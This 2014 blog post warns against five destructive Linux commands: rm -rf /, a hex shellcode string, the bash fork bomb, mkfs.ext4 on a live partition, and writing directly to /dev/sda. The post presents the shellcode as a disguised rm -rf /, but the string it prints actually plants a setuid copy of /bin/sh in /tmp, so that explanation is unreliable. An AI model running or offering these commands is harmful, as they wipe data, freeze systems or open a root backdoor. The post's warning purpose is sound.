Tuesday, May 20, 2014

The Top 5 Deadliest Linux Commands.







NEVER RUN THESE COMMANDS.


1. rm -rf /

Deletes everything including files on your hard drive and files on connected removable media devices.

rm – Remove the following files.

-rf – Run rm recursively and force-remove all files without prompting you.

/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, 

including remote file shares and removable drives.

2. Disguised rm –rf /

Actually, the hex version of rm –rf / – wipes out your files just as if you had run rm –rf /.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

3. :(){ :|: & };:

This bash command is actually a denial-of-service attack. It defines a shell function that creates new copies of itself that 

continually replicates itself quickly taking up all your CPU time and memory causing your computer to freeze.

4. mkfs.ext4 /dev/sda1

Equivalent to running format c: on Windows.

mkfs.ext4 – Create a new ext4 file system on the following device.

/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.

5. command > /dev/sda

Writes the data directly to the hard disk drive and damaging your file system.

command – Run a command (can be any command.)

> – Send the output of the command to the following location.

/dev/sda – Write the output of the command directly to the hard disk device.

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